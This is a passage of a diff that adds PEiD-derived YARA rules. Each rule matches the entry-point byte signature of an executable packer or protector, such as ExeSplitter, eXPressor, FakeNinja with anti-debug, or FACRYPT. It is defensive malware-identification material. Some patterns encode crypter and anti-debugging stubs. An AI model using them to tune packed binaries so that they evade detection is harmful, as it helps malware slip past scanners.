+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00653_ExeSmasher_vx_x_
+{
+    meta:
+        description = "[ExeSmasher vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00654_ExeSplitter_1_2____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.2 -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00655_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00656_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00657_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+    condition:
+        $a
+}
+
+rule PEiD_00658_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00659_ExeStealth____WebToolMaster_
+{
+    meta:
+        description = "[ExeStealth -> WebToolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00660_EXEStealth_2_75____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.75 -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00661_EXEStealth_2_76_Unregistered____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.76 Unregistered -> WebtoolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+    condition:
+        $a
+}
+
+rule PEiD_00662_ExeTools_COM2EXE_
+{
+    meta:
+        description = "[ExeTools COM2EXE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00663_ExeTools_v2_1_Encruptor_by_DISMEMBER_
+{
+    meta:
+        description = "[ExeTools v2.1 Encruptor by DISMEMBER]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00664_EXE______________Liuli_
+{
+    meta:
+        description = "[convert base64 to ASCII RVhFw47DhMK8w77CusOPwrLCosOGw7cgLT4gTGl1bGk=]"
+        ep_only = "false"
+    strings:
+        $a = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+    condition:
+        $a
+}
+
+rule PEiD_00665_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00666_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 77 20 3D 20 30 78 25 30 34 78 20 20 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 00 00 00 00 00 00 42 61 64 20 70 6F 69 6E 74 65 72 3A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 45 72 72 6F 72 3A 00 00 54 68 65 20 25 68 73 20 66 69 6C 65 20 69 73 20 0A 6C 69 6E 6B 65 64 20 74 6F 20 6D 69 73 73 69 6E 67 20 65 78 70}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00667_eXPressor_1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00668_eXPressor_1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00669_eXPressor_1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00670_eXPressor_1_2_0_Beta_PE_Packer_
+{
+    meta:
+        description = "[eXPressor 1.2.0 Beta PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00671_eXPressor_1_2_0b_
+{
+    meta:
+        description = "[eXPressor 1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00672_eXPressor_1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00673_eXPressor_1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+    condition:
+        $a
+}
+
+rule PEiD_00674_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00675_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14 89 4D CC E9 97 04 00 00 C7 05 10 ?? ?? 00 01 00 00 00 ?? ?? 68 54 ?? ?? 00 68 18 ?? ?? 00 6A 00 FF 15 E4 ?? ?? 00 83 7D 0C 01 74 04 83 65 08 00 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 EC 68 04 01 00 00 FF 75 EC FF 75 08 FF 15 DC ?? ?? 00 8B 4D EC 8D 44 01 FF 89 45 AC 8B 45 AC 0F BE 00 83 F8 5C 74 09 8B 45 AC 48 89 45 AC EB EC 8B 45 AC 40 89 45 AC 8B 45 AC 2B 45 EC 89 45 B0 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 FC 8B 4D B0 8B 75 EC 8B 7D FC 8B C1 C1 E9 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00676_eXpressor_v1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.0 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13}
+    condition:
+        $a
+}
+
+rule PEiD_00677_eXPressor_V1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.0 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00678_eXpressor_v1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00679_eXPressor_v1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00680_eXPressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00681_eXpressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00682_eXPressor_v1_2_0b_
+{
+    meta:
+        description = "[eXPressor v1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 ?? ?? ?? 00 8D 84 05 EF FE FF FF 89 85 38 FE FF FF 8B 85 38 FE FF FF 0F BE 00 83 F8 5C}
+    condition:
+        $a
+}
+
+rule PEiD_00683_eXPressor_v1_3____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00684_eXPressor_v1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00685_eXPressor_V1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00686_eXPressor_v1_4____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00687_eXPressor_v1_4____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00688_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00689_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00690_eXPressor_v1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00691_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00692_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00693_eXPressor_V1_4_5_x____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.x -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00694_eXPressor_v1_5_0_1__Options____Light__Full_support__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Light, Full support) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 ?? FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00695_eXPressor_v1_5_0_1__Options____Protection__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Protection) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {5E 00 00 80 00 00 00 68 91 5D D4 27 35 C5 5A 4C A5 40 48 C4 08 4E C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00696_eXPressor_v1_5x____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.5x -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00697_eXPressor_PacK_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.PacK V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00698_eXPressor_Protection_1_5_0_X____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor.Protection 1.5.0.X -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02}
+    condition:
+        $a
+}
+
+rule PEiD_00699_eXPressor_Protection_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.Protection V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+    condition:
+        $a
+}
+
+rule PEiD_00700_EZIP_v1_0_
+{
+    meta:
+        description = "[EZIP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00701_E___________________
+{
+    meta:
+        description = "[Convert Base64 to ASCII RcOTw47CtcOYwrTDuCAtPiDDlMOCwrrDmsK3w6fCuMOf==]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00702_FACRYPT_v1_0_
+{
+    meta:
+        description = "[FACRYPT v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00703_FakeNinja_v2_8__Anti_Debug_____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 (Anti-Debug) -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00704_FakeNinja_v2_8____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+    condition:
+        $a
+}
+
+rule PEiD_00705_FASM_1_5x_
+{
+    meta:
+        description = "[FASM 1.5x]"
+        ep_only = "false"
+    strings:
